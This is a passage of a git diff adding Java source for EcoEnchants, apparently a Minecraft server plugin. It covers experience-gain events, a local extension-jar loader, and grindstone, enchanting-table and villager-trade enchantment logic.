setCancelled(boolean cancel) { + this.cancelled = cancel; + } + + public void setLoc(Location location) { + this.loc = location; + } + + public Location getLoc() { + return this.loc; + } + + public void push() { + if(this.event == null) return; + if(this.cancelled) return; + + NaturalExpGainEvent naturalExpGainEvent = new NaturalExpGainEvent(event); + + Bukkit.getPluginManager().callEvent(naturalExpGainEvent); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainEvent.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainEvent.java new file mode 100644 index 00000000..99f1bffb --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainEvent.java @@ -0,0 +1,44 @@ +package com.willfp.ecoenchants.events.naturalexpgainevent; + +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; +import org.bukkit.event.player.PlayerExpChangeEvent; +import org.jetbrains.annotations.NotNull; + +/** + * Event triggered when player receives experience not from bottle + */ +public class NaturalExpGainEvent extends Event { + private static final HandlerList HANDLERS = new HandlerList(); + + /** + * The associated {@link PlayerExpChangeEvent} + */ + private final PlayerExpChangeEvent event; + + /** + * Create event based off parameters + * @param event The associate PlayerExpChangeEvent + */ + public NaturalExpGainEvent(@NotNull PlayerExpChangeEvent event) { + this.event = event; + } + + /** + * Get associated {@link PlayerExpChangeEvent} + * Use this to modify event parameters. + * @return The associated {@link PlayerExpChangeEvent} + */ + public PlayerExpChangeEvent getExpChangeEvent() { + return this.event; + } + + @Override + public HandlerList getHandlers() { + return HANDLERS; + } + + public static HandlerList getHandlerList() { + return HANDLERS; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainListeners.java b/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainListeners.java new file mode 100644 index 00000000..b790c6b8 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/events/naturalexpgainevent/NaturalExpGainListeners.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.events.naturalexpgainevent; + +import com.willfp.ecoenchants.Main; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.ExpBottleEvent; +import org.bukkit.event.player.PlayerExpChangeEvent; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.HashSet; +import java.util.Set; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicReference; + +public class NaturalExpGainListeners implements Listener { + + Set events = new HashSet<>(); + + @EventHandler + public void onExpChange(PlayerExpChangeEvent event) { + NaturalExpGainBuilder builtEvent = new NaturalExpGainBuilder(); + builtEvent.setEvent(event); + + AtomicBoolean isNatural = new AtomicBoolean(true); + AtomicReference atomicBuiltEvent = new AtomicReference<>(); + + Set eventsClone = new HashSet<>(events); + eventsClone.forEach((builder) -> { + if(builder.getLoc().getWorld().getNearbyEntities(builder.getLoc(), 7.25, 7.25, 7.25).contains(event.getPlayer())) { + events.remove(builder); + isNatural.set(false); + atomicBuiltEvent.set(builder); + } + }); + + if(isNatural.get()) { + events.remove(atomicBuiltEvent.get()); + builtEvent.push(); + } + + new BukkitRunnable() { + @Override + public void run() { + events.remove(builtEvent); + } + }.runTaskLater(Main.getInstance(), 1); + } + + @EventHandler + public void onExpBottle(ExpBottleEvent event) { + NaturalExpGainBuilder builtEvent = new NaturalExpGainBuilder(); + builtEvent.setLoc(event.getEntity().getLocation()); + + events.add(builtEvent); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/extensions/Extension.java b/Plugin/src/main/java/com/willfp/ecoenchants/extensions/Extension.java new file mode 100644 index 00000000..08fa0a22 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/extensions/Extension.java @@ -0,0 +1,24 @@ +package com.willfp.ecoenchants.extensions; + +/** + * Extensions are a way of interfacing with EcoEnchants + * Syntactically similar to Bukkit Plugins. + */ +public abstract class Extension { + /** + * Create new Extension + */ + public Extension() { + onEnable(); + } + + /** + * Called on enabling Extension + */ + public abstract void onEnable(); + + /** + * Called when Extension is disabled + */ + public abstract void onDisable(); +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/extensions/ExtensionManager.java b/Plugin/src/main/java/com/willfp/ecoenchants/extensions/ExtensionManager.java new file mode 100644 index 00000000..cfb1a52d --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/extensions/ExtensionManager.java @@ -0,0 +1,104 @@ +package com.willfp.ecoenchants.extensions; + +import com.willfp.ecoenchants.Main; +import org.bukkit.Bukkit; +import org.bukkit.configuration.file.YamlConfiguration; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; + +/** + * Class containing method to load extensions + */ +public class ExtensionManager { + private static final Map extensions = new HashMap<>(); + + /** + * Load all extensions + */ + public static void loadExtensions() { + File dir = new File(Main.getInstance().getDataFolder(), "/extensions"); + if (!dir.exists()) { + dir.mkdirs(); + } + + File[] extensionJars = dir.listFiles(); + if(extensionJars != null) { + for (File extensionJar : extensionJars) { + try { + if (extensionJar.isFile()) { + try { + URL url = extensionJar.toURI().toURL(); + URL[] urls = {url}; + + ClassLoader cl = new URLClassLoader(urls, Main.class.getClassLoader()); + + InputStream ymlIn = cl.getResourceAsStream("extension.yml"); + URL extensionYmlUrl = cl.getResource("extension.yml"); + + if (extensionYmlUrl == null || ymlIn == null) { + throw new MalformedExtensionException("No extension.yml found in " + extensionJar.getName()); + } + + YamlConfiguration extensionYml = YamlConfiguration.loadConfiguration(new InputStreamReader(ymlIn)); + if (!extensionYml.getKeys(false).contains("main") || !extensionYml.getKeys(false).contains("name")) { + throw new MalformedExtensionException("Invalid extension.yml found in " + extensionJar.getName()); + } + + String mainClass = extensionYml.getString("main"); + String name = extensionYml.getString("name"); + + Class cls = cl.loadClass(mainClass); + + Object object = cls.newInstance(); + + if (object instanceof Extension) { + Extension extension = (Extension) object; + extension.onEnable(); + extensions.put(extension, name); + } else { + throw new MalformedExtensionException(extensionJar.getName() + " is invalid"); + } + } catch (IllegalAccessException | InstantiationException | IOException | ClassNotFoundException e) { + e.printStackTrace(); + } + } + } catch (MalformedExtensionException e) { + Bukkit.getLogger().info(extensionJar.getName() + " caused MalformedExtensionException: " + e.getMessage()); + } + } + } + } + + /** + * Unload all extensions + */ + public static void unloadExtensions() { + extensions.forEach(((extension, s) -> { + extension.onDisable(); + })); + extensions.clear(); + } + + /** + * Reload all extensions + */ + public static void reloadExtensions() { + unloadExtensions(); + loadExtensions(); + } + + /** + * Get Map of all loaded extensions and their names + * @return {@link Map} of {@link Extension}s and their names + */ + public static Map getLoadedExtensions() { + return extensions; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/extensions/MalformedExtensionException.java b/Plugin/src/main/java/com/willfp/ecoenchants/extensions/MalformedExtensionException.java new file mode 100644 index 00000000..84f8c2da --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/extensions/MalformedExtensionException.java @@ -0,0 +1,10 @@ +package com.willfp.ecoenchants.extensions; + +/** + * Called when the extension is made incorrectly + */ +public class MalformedExtensionException extends RuntimeException { + public MalformedExtensionException(String errorMessage) { + super(errorMessage); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/grindstone/GrindstoneListeners.java b/Plugin/src/main/java/com/willfp/ecoenchants/grindstone/GrindstoneListeners.java new file mode 100644 index 00000000..297d4a84 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/grindstone/GrindstoneListeners.java @@ -0,0 +1,75 @@ +package com.willfp.ecoenchants.grindstone; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.lore.EnchantLore; +import org.bukkit.Bukkit; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Entity; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.ExperienceOrb; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.inventory.InventoryType; +import org.bukkit.inventory.GrindstoneInventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; +import org.bukkit.inventory.meta.ItemMeta; + +import java.util.Map; + +public class GrindstoneListeners implements Listener { + @EventHandler + public void onGrindstone(InventoryClickEvent event) { + Player player = (Player) event.getWhoClicked(); + + if (player.getOpenInventory().getTopInventory().getType() != InventoryType.GRINDSTONE) + return; + + GrindstoneInventory inventory = (GrindstoneInventory) player.getOpenInventory().getTopInventory(); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + + ItemStack top = inventory.getItem(0); + ItemStack bottom = inventory.getItem(1); + ItemStack out = inventory.getItem(2); + + Map toKeep = GrindstoneMerge.doMerge(top, bottom); + + if(toKeep.isEmpty()) { + inventory.setItem(2, out); + } + if(out == null) return; + + ItemStack newOut = out.clone(); + if(newOut.getItemMeta() instanceof EnchantmentStorageMeta) { + EnchantmentStorageMeta meta = (EnchantmentStorageMeta) newOut.getItemMeta(); + toKeep.forEach(((enchantment, integer) -> { + meta.addStoredEnchant(enchantment, integer, true); + })); + newOut.setItemMeta(meta); + } else { + ItemMeta meta = newOut.getItemMeta(); + toKeep.forEach(((enchantment, integer) -> { + meta.addEnchant(enchantment, integer, true); + })); + newOut.setItemMeta(meta); + } + + final ItemStack finalOut = newOut; + + Bukkit.getScheduler().runTask(Main.getInstance(), () -> { + inventory.setItem(2, finalOut); + }); + + }, 1); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + for(Entity entity : player.getNearbyEntities(8, 8, 8)) { + if(entity.getType().equals(EntityType.EXPERIENCE_ORB)) + ((ExperienceOrb) entity).setExperience(2); + } + }, 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/grindstone/GrindstoneMerge.java b/Plugin/src/main/java/com/willfp/ecoenchants/grindstone/GrindstoneMerge.java new file mode 100644 index 00000000..13382f63 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/grindstone/GrindstoneMerge.java @@ -0,0 +1,54 @@ +package com.willfp.ecoenchants.grindstone; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; + +import java.util.HashMap; +import java.util.Map; + +public class GrindstoneMerge { + public static Map doMerge(ItemStack top, ItemStack bottom) { + Map bottomEnchants = new HashMap<>(); + Map topEnchants = new HashMap<>(); + + Map toKeep = new HashMap<>(); + + if(top != null) { + if(top.getItemMeta() instanceof EnchantmentStorageMeta) { + topEnchants = new HashMap<>(((EnchantmentStorageMeta) top.getItemMeta()).getStoredEnchants()); + } else { + topEnchants = new HashMap<>(top.getEnchantments()); + } + } + + if(bottom != null) { + if(bottom.getItemMeta() instanceof EnchantmentStorageMeta) { + bottomEnchants = new HashMap<>(((EnchantmentStorageMeta) bottom.getItemMeta()).getStoredEnchants()); + } else { + bottomEnchants = new HashMap<>(bottom.getEnchantments()); + } + } + + bottomEnchants.forEach(((enchantment, integer) -> { + if(EcoEnchants.getFromEnchantment(enchantment) != null) { + EcoEnchant ecoEnchant = EcoEnchants.getFromEnchantment(enchantment); + if(!ecoEnchant.isGrindstoneable()) toKeep.putIfAbsent(enchantment, integer); + } else { + if(enchantment.isCursed()) toKeep.putIfAbsent(enchantment, integer); + } + })); + topEnchants.forEach(((enchantment, integer) -> { + if(EcoEnchants.getFromEnchantment(enchantment) != null) { + EcoEnchant ecoEnchant = EcoEnchants.getFromEnchantment(enchantment); + if(!ecoEnchant.isGrindstoneable()) toKeep.putIfAbsent(enchantment, integer); + } else { + if(enchantment.isCursed()) toKeep.putIfAbsent(enchantment, integer); + } + })); + + return toKeep; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/listeners/EnchantingListeners.java b/Plugin/src/main/java/com/willfp/ecoenchants/listeners/EnchantingListeners.java new file mode 100644 index 00000000..4aff59a2 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/listeners/EnchantingListeners.java @@ -0,0 +1,222 @@ +package com.willfp.ecoenchants.listeners; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.lore.EnchantLore; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.Bias; +import com.willfp.ecoenchants.util.EqualIfOver; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Material; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.enchantments.EnchantmentOffer; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.enchantment.EnchantItemEvent; +import org.bukkit.event.enchantment.PrepareItemEnchantEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.*; +import java.util.concurrent.atomic.AtomicBoolean; + +public class EnchantingListeners implements Listener { + private static final Set secondary = new HashSet() {{ + add(Material.ELYTRA); + add(Material.SHIELD); + }}; + public static HashMap currentlyEnchantingSecondary = new HashMap<>(); + + @EventHandler + public void onPlayerLeave(PlayerQuitEvent event) { + currentlyEnchantingSecondary.remove(event.getPlayer()); + } + + @EventHandler + public void enchantItem(EnchantItemEvent event) { + Player player = event.getEnchanter(); + ItemStack item = event.getItem(); + int cost = event.getExpLevelCost(); + Map toAdd = event.getEnchantsToAdd(); + if (!ConfigManager.getConfig().getBool("enchanting-table.enabled")) { + new BukkitRunnable() { + @Override + public void run() { + ItemStack item = event.getInventory().getItem(0); + event.getInventory().setItem(0, item); + } + }.runTaskLater(Main.getInstance(), 1); + return; + } + + if ((secondary.contains(event.getItem().getType()))) { + try { + ItemStack lapis = event.getInventory().getItem(1); + lapis.setAmount(event.getInventory().getItem(1).getAmount() - (event.whichButton() + 1)); + event.getInventory().setItem(1, lapis); + } catch (NullPointerException ignored) {} // Triggered if you're in creative + } + + double multiplier = 0.01; + if (Target.Applicable.BOOK.getMaterials().contains(item.getType())) { + multiplier /= ConfigManager.getConfig().getInt("enchanting-table.book-times-less-likely"); + } + + if (ConfigManager.getConfig().getBool("enchanting-table.reduce-probability.enabled")) { + multiplier /= ConfigManager.getConfig().getDouble("enchanting-table.reduce-probability.factor"); + } + + ArrayList enchantments = new ArrayList<>(EcoEnchants.getAll()); + Collections.shuffle(enchantments); // Prevent list bias towards early enchantments like telekinesis + + boolean gotSpecial = false; + + for (EcoEnchant enchantment : enchantments) { + + if (!enchantment.canEnchantItem(item)) + continue; + if (Rand.randFloat(0, 1) > enchantment.getRarity().getProbability() * multiplier) + continue; + if (enchantment.getRarity().getMinimumLevel() > cost) + continue; + if (!enchantment.canGetFromTable()) + continue; + if (!player.hasPermission("ecoenchants.fromtable." + enchantment.getPermissionName())) + continue; + + AtomicBoolean anyConflicts = new AtomicBoolean(false); + toAdd.forEach((enchant, integer) -> { + if (enchantment.conflictsWithAny(toAdd.keySet())) anyConflicts.set(true); + if (enchant.conflictsWith(enchantment)) anyConflicts.set(true); + + if(EcoEnchants.getFromEnchantment(enchant) != null) { + EcoEnchant ecoEnchant = EcoEnchants.getFromEnchantment(enchant); + if (enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL) && ecoEnchant.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) anyConflicts.set(true); + if (enchantment.getType().equals(EcoEnchant.EnchantmentType.ARTIFACT) && ecoEnchant.getType().equals(EcoEnchant.EnchantmentType.ARTIFACT)) anyConflicts.set(true); + } + }); + if (anyConflicts.get()) continue; + + int level; + + double maxLevelDouble = enchantment.getMaxLevel(); + + if(enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) { + double enchantlevel1 = Rand.randFloat(0, 1); + double enchantlevel2 = Bias.bias(enchantlevel1, ConfigManager.getConfig().getDouble("enchanting-table.special-bias")); + double enchantlevel3 = 1 / maxLevelDouble; + level = (int) Math.ceil(enchantlevel2 / enchantlevel3); + } else { + int maxLevel = ConfigManager.getConfig().getInt("enchanting-table.maximum-obtainable-level"); + double enchantlevel1 = (cost / (double) enchantment.getRarity().getMinimumLevel()) / (maxLevel / (double) enchantment.getRarity().getMinimumLevel()); + double enchantlevel2 = Rand.triangularDistribution(0, 1, enchantlevel1); + double enchantlevel3 = 1 / maxLevelDouble; + level = (int) Math.ceil(enchantlevel2 / enchantlevel3); + } + + level = EqualIfOver.equalIfOver(level, enchantment.getMaxLevel()); + toAdd.put(enchantment, level); + + if(ConfigManager.getConfig().getBool("enchanting-table.cap-amount.enabled")) { + if(toAdd.size() >= ConfigManager.getConfig().getInt("enchanting-table.cap-amount.limit")) { + break; + } + } + + if(enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) gotSpecial = true; + + if (ConfigManager.getConfig().getBool("enchanting-table.reduce-probability.enabled")) { + multiplier /= ConfigManager.getConfig().getDouble("enchanting-table.reduce-probability.factor"); + } + } + toAdd.forEach(event.getEnchantsToAdd()::putIfAbsent); + + if((secondary.contains(event.getItem().getType()))) { + if(!toAdd.containsKey(EcoEnchants.INDESTRUCTIBILITY)) { + event.getEnchantsToAdd().put(Enchantment.DURABILITY, currentlyEnchantingSecondary.get(player)[event.whichButton()]); + currentlyEnchantingSecondary.remove(player); + } + } + + if(gotSpecial && ConfigManager.getConfig().getBool("enchanting-table.notify-on-special")) { + player.sendMessage(ConfigManager.getLang().getMessage("got-special")); + } + + // Ew + new BukkitRunnable() { + @Override + public void run() { + ItemStack item = event.getInventory().getItem(0); + assert item != null; + if(item.getItemMeta() instanceof EnchantmentStorageMeta) { + EnchantmentStorageMeta meta = (EnchantmentStorageMeta) item.getItemMeta(); + for(Enchantment enchantment : meta.getStoredEnchants().keySet()) { + meta.removeStoredEnchant(enchantment); + } + event.getEnchantsToAdd().forEach(((enchantment, integer) -> { + meta.addStoredEnchant(enchantment, integer, false); + })); + item.setItemMeta(meta); + } + event.getInventory().setItem(0, item); + } + }.runTaskLater(Main.getInstance(), 1); + } + + @EventHandler + public void allowElytraEnchant(PrepareItemEnchantEvent event) { + try { + event.getOffers()[2].setCost(EqualIfOver.equalIfOver(event.getOffers()[2].getCost(), ConfigManager.getConfig().getInt("enchanting-table.maximum-obtainable-level"))); + } catch (ArrayIndexOutOfBoundsException | NullPointerException ignored) {} + + if (!secondary.contains(event.getItem().getType())) + return; + + int bonus = event.getEnchantmentBonus(); + if (bonus > 15) { + bonus = 15; + } + if (bonus == 0) { + bonus = 1; + } + + + int level2 = (int) Math.ceil(Rand.randFloat(1.1, 2.5)); + EnchantmentOffer offer2 = new EnchantmentOffer(Enchantment.DURABILITY, level2, (int) Math.floor(bonus * 1.5)); + + EnchantmentOffer offer3 = new EnchantmentOffer(Enchantment.DURABILITY, Rand.randInt(2, 3), bonus * 2); + + if (offer3.getEnchantmentLevel() < offer2.getEnchantmentLevel()) { + int temp = offer2.getEnchantmentLevel(); + offer2.setEnchantmentLevel(offer3.getEnchantmentLevel()); + offer3.setEnchantmentLevel(temp); + } + + EnchantmentOffer[] offers = { + new EnchantmentOffer(Enchantment.DURABILITY, 1, bonus), + offer2, + offer3 + }; + + event.getOffers()[0] = offers[0]; + if (bonus > 5) { + event.getOffers()[1] = offers[1]; + } + if (bonus > 10) { + event.getOffers()[2] = offers[2]; + } + + currentlyEnchantingSecondary.remove(event.getEnchanter()); + int[] unbLevels = { + event.getOffers()[0].getEnchantmentLevel(), + event.getOffers()[1].getEnchantmentLevel(), + event.getOffers()[2].getEnchantmentLevel() + }; + currentlyEnchantingSecondary.put(event.getEnchanter(), unbLevels); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/listeners/PlayerJoinListener.java b/Plugin/src/main/java/com/willfp/ecoenchants/listeners/PlayerJoinListener.java new file mode 100644 index 00000000..1277c1f4 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/listeners/PlayerJoinListener.java @@ -0,0 +1,19 @@ +package com.willfp.ecoenchants.listeners; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.config.ConfigManager; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.player.PlayerJoinEvent; + +public class PlayerJoinListener implements Listener { + @EventHandler + public void onPlayerJoin(PlayerJoinEvent event) { + if (Main.outdated) { + if (event.getPlayer().hasPermission("ecoenchants.updateannounce")) { + event.getPlayer().sendMessage(ConfigManager.getLang().getMessage("outdated").replace("%ver%", Main.getInstance().getDescription().getVersion()) + .replace("%newver%", Main.newVersion)); + } + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/listeners/VillagerListeners.java b/Plugin/src/main/java/com/willfp/ecoenchants/listeners/VillagerListeners.java new file mode 100644 index 00000000..d6a37923 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/listeners/VillagerListeners.java @@ -0,0 +1,168 @@ +package com.willfp.ecoenchants.listeners; + +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.lore.EnchantLore; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.Bias; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Material; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.VillagerAcquireTradeEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.MerchantRecipe; +import org.bukkit.inventory.meta.EnchantmentStorageMeta; +import org.bukkit.inventory.meta.ItemMeta; + +import java.util.*; +import java.util.concurrent.atomic.AtomicBoolean; + +public class VillagerListeners implements Listener { + + // For books + @EventHandler + public void onVillagerGainBookTrade(VillagerAcquireTradeEvent event) { + if(!event.getRecipe().getResult().getType().equals(Material.ENCHANTED_BOOK)) + return; + + if(!ConfigManager.getConfig().getBool("villager.enabled")) + return; + + ItemStack result = event.getRecipe().getResult().clone(); + int uses = event.getRecipe().getUses(); + int maxUses = event.getRecipe().getMaxUses(); + boolean experienceReward = event.getRecipe().hasExperienceReward(); + int villagerExperience = event.getRecipe().getVillagerExperience(); + float priceMultiplier = event.getRecipe().getPriceMultiplier(); + List ingredients = event.getRecipe().getIngredients(); + + if(!(result.getItemMeta() instanceof EnchantmentStorageMeta)) return; + + EnchantmentStorageMeta meta = (EnchantmentStorageMeta) result.getItemMeta(); + + ArrayList enchantments = new ArrayList<>(EcoEnchants.getAll()); + Collections.shuffle(enchantments); // Prevent list bias towards early enchantments like telekinesis + + double multiplier = 0.01 / ConfigManager.getConfig().getDouble("villager.book-times-less-likely"); + + for(EcoEnchant enchantment : enchantments) { + if (Rand.randFloat(0, 1) > enchantment.getRarity().getVillagerProbability() * multiplier) + continue; + if (!enchantment.canGetFromVillager()) + continue; + + int level; + + if(enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) { + double enchantlevel1 = Rand.randFloat(0, 1); + double enchantlevel2 = Bias.bias(enchantlevel1, ConfigManager.getConfig().getDouble("enchanting-table.special-bias")); + double enchantlevel3 = 1 / (double) enchantment.getMaxLevel(); + level = (int) Math.ceil(enchantlevel2 / enchantlevel3); + } else { + int cost = event.getRecipe().getIngredients().get(0).getAmount(); + double enchantlevel1 = cost / 64; + double enchantlevel2 = Rand.triangularDistribution(0, 1, enchantlevel1); + double enchantlevel3 = 1 / (double) enchantment.getMaxLevel(); + level = (int) Math.ceil(enchantlevel2 / enchantlevel3); + } + + meta.getStoredEnchants().forEach(((enchantment1, integer) -> { + meta.removeStoredEnchant(enchantment1); + })); + + meta.addStoredEnchant(enchantment, level, false); + break; + } + + result.setItemMeta(meta); + + MerchantRecipe recipe = new MerchantRecipe(result, uses, maxUses, experienceReward, villagerExperience, priceMultiplier); + recipe.setIngredients(ingredients); + event.setRecipe(recipe); + } + + // For tools + @EventHandler + public void onVillagerGainItemTrade(VillagerAcquireTradeEvent event) { + + if(!Target.Applicable.ALL.getMaterials().contains(event.getRecipe().getResult().getType())) + return; + + if(event.getRecipe().getResult().getType().equals(Material.BOOK)) return; + + if(!ConfigManager.getConfig().getBool("villager.enabled")) + return; + + ItemStack result = event.getRecipe().getResult().clone(); + int uses = event.getRecipe().getUses(); + int maxUses = event.getRecipe().getMaxUses(); + boolean experienceReward = event.getRecipe().hasExperienceReward(); + int villagerExperience = event.getRecipe().getVillagerExperience(); + float priceMultiplier = event.getRecipe().getPriceMultiplier(); + List ingredients = event.getRecipe().getIngredients(); + + if(result.getItemMeta() instanceof EnchantmentStorageMeta) return; + + ItemMeta meta = result.getItemMeta(); + + ArrayList enchantments = new ArrayList<>(EcoEnchants.getAll()); + Collections.shuffle(enchantments); // Prevent list bias towards early enchantments like telekinesis + + Map toAdd = new HashMap<>(); + + double multiplier = 0.01; + + for(EcoEnchant enchantment : enchantments) { + if (Rand.randFloat(0, 1) > enchantment.getRarity().getVillagerProbability() * multiplier) + continue; + if (!enchantment.canGetFromVillager()) + continue; + if(!enchantment.canEnchantItem(result)) + continue; + + AtomicBoolean anyConflicts = new AtomicBoolean(false); + toAdd.forEach((enchant, integer) -> { + if (enchantment.conflictsWithAny(toAdd.keySet())) anyConflicts.set(true); + if (enchant.conflictsWith(enchantment)) anyConflicts.set(true); + + EcoEnchant ecoEnchant = EcoEnchants.getFromEnchantment(enchant); + if (enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL) && ecoEnchant.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) anyConflicts.set(true); + if (enchantment.getType().equals(EcoEnchant.EnchantmentType.ARTIFACT) && ecoEnchant.getType().equals(EcoEnchant.EnchantmentType.ARTIFACT)) anyConflicts.set(true); + }); + if (anyConflicts.get()) continue; + + int level; + + if(enchantment.getType().equals(EcoEnchant.EnchantmentType.SPECIAL)) { + double enchantlevel1 = Rand.randFloat(0, 1); + double enchantlevel2 = Bias.bias(enchantlevel1, ConfigManager.getConfig().getDouble("enchanting-table.special-bias")); + double enchantlevel3 = 1 / (double) enchantment.getMaxLevel(); + level = (int) Math.ceil(enchantlevel2 / enchantlevel3); + } else { + int cost = event.getRecipe().getIngredients().get(0).getAmount(); + double enchantlevel1 = cost / 64; + double enchantlevel2 = Rand.triangularDistribution(0, 1, enchantlevel1); + double enchantlevel3 = 1 / (double) enchantment.getMaxLevel(); + level = (int) Math.ceil(enchantlevel2 / enchantlevel3); + } + + toAdd.put(enchantment, level); + + if (ConfigManager.getConfig().getBool("villager.reduce-probability.enabled")) { + multiplier /= ConfigManager.getConfig().getDouble("villager.reduce-probability.factor"); + } + } + + toAdd.forEach(((enchantment, integer) -> { + meta.addEnchant(enchantment, integer, false); + })); + + result.setItemMeta(meta); + + MerchantRecipe recipe = new MerchantRecipe(result, uses, maxUses, experienceReward, villagerExperience, priceMultiplier); + recipe.setIngredients(ingredients); + event.setRecipe(recipe); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/loader/Loader.java b/Plugin/src/main/java/com/willfp/ecoenchants/loader/Loader.java new file mode 100644 index 00000000..ed6e83a1 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/loader/Loader.java @@ -0,0 +1,424 @@ +package com.willfp.ecoenchants.loader; + +import com.comphenix.protocol.ProtocolLibrary; +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.anticheat.anticheats.AnticheatAAC; +import com.willfp.ecoenchants.anticheat.anticheats.AnticheatMatrix; +import com.willfp.ecoenchants.anvil.AnvilListeners; +import com.willfp.ecoenchants.bstats.Metrics; +import com.willfp.ecoenchants.commands.*; +import com.willfp.ecoenchants.config.ConfigManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.enchantments.EnchantmentRarity; +import com.willfp.ecoenchants.events.armorequip.ArmorListener; +import com.willfp.ecoenchants.events.armorequip.DispenserArmorListener; +import com.willfp.ecoenchants.events.entitydeathbyentity.EntityDeathByEntityListeners; +import com.willfp.ecoenchants.events.naturalexpgainevent.NaturalExpGainListeners; +import com.willfp.ecoenchants.extensions.ExtensionManager; +import com.willfp.ecoenchants.grindstone.GrindstoneListeners; +import com.willfp.ecoenchants.listeners.EnchantingListeners; +import com.willfp.ecoenchants.listeners.PlayerJoinListener; +import com.willfp.ecoenchants.listeners.VillagerListeners; +import com.willfp.ecoenchants.lore.DisplayPacketAdapter; +import com.willfp.ecoenchants.lore.EnchantLore; +import com.willfp.ecoenchants.naturalloot.LootPopulator; +import com.willfp.ecoenchants.nms.BlockBreak; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.task.EcoRunnable; +import com.willfp.ecoenchants.util.UpdateChecker; +import org.apache.maven.artifact.versioning.DefaultArtifactVersion; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.generator.BlockPopulator; +import org.codehaus.plexus.util.UserUtils; + +import java.util.ArrayList; +import java.util.List; + +/** + * Class containing methods for the loading and unloading of EcoEnchants + */ +public class Loader { + + /** + * Called by {@link Main#onEnable()} + */ + public static void load() { + Bukkit.getLogger().info("=========================================="); + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("Loading 